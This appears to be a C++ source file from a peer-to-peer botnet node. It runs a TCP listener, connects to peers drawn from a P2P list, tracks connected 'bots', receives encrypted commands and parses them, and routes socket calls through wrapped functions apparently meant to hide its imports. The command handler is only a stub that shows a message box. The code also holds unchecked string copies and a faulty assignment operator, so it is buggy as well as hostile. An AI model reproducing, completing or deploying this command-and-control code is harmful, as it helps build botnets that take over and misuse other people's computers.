#include <winsock2.h>
# include <windows.h>
#include "ServidorTCP.h"
#include "Loaddlls.h"
#include "Encriptador.h"
#include "P2PEngine.h"
#include "Apis.h"
//#include "Estructuras.h"
//using namespace winsock2;
bool ClientActivo=false;
int IndiceClient=-1;
Configuracion* CFS;
P2PEngine* P2P;
Cliente* C[MaxConection];
Cliente* Servers;
int CCon=0;
int iPort ;
  bool   bInterface;        
  bool bRecvOnly;  
  char   szAddress[128];  
  Cliente::Cliente()
  {
   Active=false;
   Sock =NULL;
   Bots=0;
   BotsNodo=0;
   ID=-1;
   strcpy(IP,"NULL");
   strcpy(UserName,"NULL");
  }
 Cliente::Cliente(int Ind)
  {
   Active=false;
   Sock =NULL;
   Bots=0;
   BotsNodo=0;
   ID=Ind;
   strcpy(IP,"NULL");
   strcpy(UserName,"NULL");
  }
 Cliente& Cliente::operator =(const Cliente& CL)
 {
  Active=CL.Active;
  Sock=CL.Sock;
  Bots=CL.Bots;
  BotsNodo=CL.BotsNodo ;
  strcpy(IP,CL.IP);
  strcpy(UserName,CL.UserName);
  return this;
}
 bool  BuscaProcesoX(char* nomb)
{
 bool hay=false;
 HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
 while(Process32Next(handle,&procinfo))
{
 if(lstrcmp(procinfo.szExeFile,LPCWSTR(nomb))==0)
{
hay=true;
}
}
 CloseHandle(handle);
 return hay;
}
 Comandos::Comandos(char *Buf)
 {
  Parsear(Buf);
 }
 Comandos::~Comandos()
 {
 int Y=00;
 
 }
 void Comandos::Parsear(char* p)
 {
  char cad[2048]="";
  char comandos1[512]="";
  strcpy(cad,p);
  int i,ban,j,tam,k;
  tam=int(strlen(p));
  ban=0;
  k=0;
  i=0;
  j=0;
  do
   {
if(cad[i]!=' ')
 {
  comandos1 [j]=cad[i];
  j++;
  ban=0;
 }
else
{
 if(ban==0&&k<=99)
{
         comandos1[j]='\0';
if(strlen(comandos1)<=255)
  strcpy(ListStr[k],comandos1);
k++;
strcpy(comandos1,"                        ");
j=0;
}
 ban++;
}
i++;
   }
 while(i<=tam-1);
 }
int BuscarIndice()
{
 for(int i=0;i<=MaxConection-1;i++)
   {
    if(!C[i]->Active)
return i;
   }
 return -1;
}
void LimpiarSock(int indice)
{
 C[indice]->Active=false;
 C[indice]->Sock =NULL;
 C[indice]->Bots=0;
 C[indice]->BotsNodo=0;
 strcpy(C[indice]->IP,"NULL");
 strcpy(C[indice]->UserName,"NULL");
}
bool ActionBot(SOCKET S, char* mBuf,int Indice)
  {
  Sleep(1000);
  MessageBoxA(0,"Hola","Gtr",MB_OK);
  Comandos* Orden =new Comandos(mBuf);
  return false;
  }

DWORD WINAPI ThreadSock(LPVOID lpParam)
{
 int Indice=(int)lpParam;
 SOCKET        sock=C[Indice]->Sock;
 char          szBuff[DEFAULT_BUFFER];
 char          szBuff2[DEFAULT_BUFFER];
 int           ret;
 Encriptador *ENG=new Encriptador();
while(1)
    {
        
        ret = Myrecv(sock, szBuff, DEFAULT_BUFFER, 0);
        if (ret == 0)        // Graceful close
{
  if(Indice==IndiceClient)
     ClientActivo=false;
  LimpiarSock(Indice);break;
}
        else if (ret == SOCKET_ERROR)
        {
if(Indice==IndiceClient)
     ClientActivo=false;
LimpiarSock(Indice);
            break;
        }
else
{
         szBuff[ret]='\0';
if(strcmp(C[Indice]->UserName,"NULL")==0)
  {
ENG->Decriptar(C[Indice]->UserName,szBuff);

  }
else
if(strcmp(C[Indice]->IP,"NULL")==0)
   {  
ENG->Decriptar(C[Indice]->IP,szBuff);
   
}
   else
     {
  ENG->Decriptar(szBuff2,szBuff);
  ActionBot(sock,szBuff2,Indice);
      strcpy(szBuff2,"");
 }
strcpy(szBuff,"");
}

      
    }
    return 0;

}

DWORD WINAPI ClientSock(LPVOID lp)
{
  DWORD         dwThreadId;
  char Ruta[MAX_PATH];
  int indiceo;
  bool ban1=0;
  HANDLE        hThread;  
  char IPO[20];
  if(BuscaProcesoX(CFS->SerName))
strcpy(Ruta,getenv("SystemRoot"));
  else
     strcpy(Ruta,getenv("USERPROFILE"));
  strcat(Ruta,"\\");
  P2P = new P2PEngine(Ruta,CFS->SerListName,CFS->PortTCP);
  WSADATA       wsd;
  SOCKET        sClient;
  char          szBuffer[DEFAULT_BUFFER];
  int           ret, i;
  struct sockaddr_in server;
  struct hostent    *host = NULL;
  Servers= new Cliente();
  if (MyWSAStartup(MAKEWORD(2,2), &wsd) != 0)
    {                
     return 1;    
    }    
  sClient = Mysocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
  if (sClient == INVALID_SOCKET)    
     {
      return 1;    
     }    
  do
    {
strcpy(IPO,P2P->BuscarIpDisponible() );
   if(strcmp(IPO,"NULL")!=0)
  {
   server.sin_family = AF_INET;    
        server.sin_port = Myhtons(CFS->PortTCP);    
        server.sin_addr.s_addr = Myinet_addr(IPO);    
        if (server.sin_addr.s_addr == INADDR_NONE)    
          {        
           host = Mygethostbyname(IPO);        
         if (host == NULL)
       {
            
ban1=true;        
             }        
       CopyMemory(&server.sin_addr, host->h_addr_list[0],host->h_length);    
       }
     if(ban1==0)
  if (Myconnect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)    
          {              
           ban1=true;    
           }    
  else
     {
  indiceo=BuscarIndice();
  if(indiceo>=0)
     {
      C[indiceo]->Sock=sClient;
      IndiceClient=indiceo;
      hThread = CreateThread(NULL, 0,ThreadSock,                    
                        (LPVOID)(indiceo), 0, &dwThreadId);
          if (hThread == NULL)        
                  {                          
                   ban1=true;
      IndiceClient=-1;
  break;        
                  
            }  
      else
         {
          ClientActivo=true;
      do
        {
                      Sleep(15000);
    }
                   while(ClientActivo);
              MyClosesocket(sClient);
              }
     }
    }
 }
}
  while(1);
MyWSACleanup();
return 0;  
}
DWORD WINAPI Listen(LPVOID LParam)
 {
  int indiceo=-1;
  WSADATA       wsd;    
  SOCKET        sListen,                  
                sClient;    
  int           iAddrSize;    
  HANDLE        hThread;  
  DWORD         dwThreadId;    
  struct sockaddr_in local,                        
                     client;        
  
  if (MyWSAStartup(MAKEWORD(2,2), &wsd) != 0)    
     {              
      return 1;    
     }      
  sListen = Mysocket(AF_INET, SOCK_STREAM, IPPROTO_IP);    
  if (sListen == SOCKET_ERROR)    
     {            
     return 1;    
     }      
  if (!bInterface)            
     local.sin_addr.s_addr = Myhtonl(INADDR_ANY);    
  local.sin_family = AF_INET;    
  local.sin_port = Myhtons(iPort);      
  if (Mybind(sListen, (struct sockaddr *)&local,sizeof(local)) == SOCKET_ERROR)    
          {        
           return 1;    
          }    
    Mylisten(sListen, 8);          
   while (1)    
        {        
         iAddrSize = sizeof(client);        
         indiceo=BuscarIndice();
if(indiceo>=0)
  {
   sClient = Myaccept(sListen, (struct sockaddr *)&client,&iAddrSize);        
            if (sClient == INVALID_SOCKET)        
               {                        
                break;        
                }                  
   C[indiceo]->Sock=sClient;
            C[indiceo]->Active=true;
hThread = CreateThread(NULL, 0,ThreadSock,                    
                   (LPVOID)(indiceo), 0, &dwThreadId);        
       if (hThread == NULL)        
                {                          
                 C[indiceo]->Active=false;
break;        
                }        
           CloseHandle(hThread);  
}
   }    
MyClosesocket(sListen);      
MyWSACleanup();    
return 0;
}
bool ChequearConeccion(char* Host)
{
 in_addr *o;
 char *p;
 hostent* hp;
 int ban,exitcode;
 WSADATA wsadata;
if (MyWSAStartup(MAKEWORD(1, 0), &wsadata) != 0)
ban= 0;
else
 {
  try
  {
hp = Mygethostbyname(Host );

  }
  catch(...)
{
 hp = NULL;
}
if (hp == NULL)
ban=0;
else
ban =1;
  }
 MyWSACleanup( );
 return ban;
 }
ServidorTCP::ServidorTCP(Configuracion* CF)
{
 int g=0;
 CFS=CF;
 iPort      = CFS->PortTCP;
 bInterface = FALSE;        
 bRecvOnly  = FALSE;  
 DWORD   dwThreadId;
 IniciarClientList();
 MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) (Listen), NULL, 0, &dwThreadId);
 if(ChequearConeccion("www.google.es"))
   MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE) (ClientSock), NULL, 0, &dwThreadId);
}
 

void ServidorTCP::IniciarClientList()
{
 for(int i=0;i<=MaxConection-1;i++)
 {
C[i]= new Cliente(i);
 }
}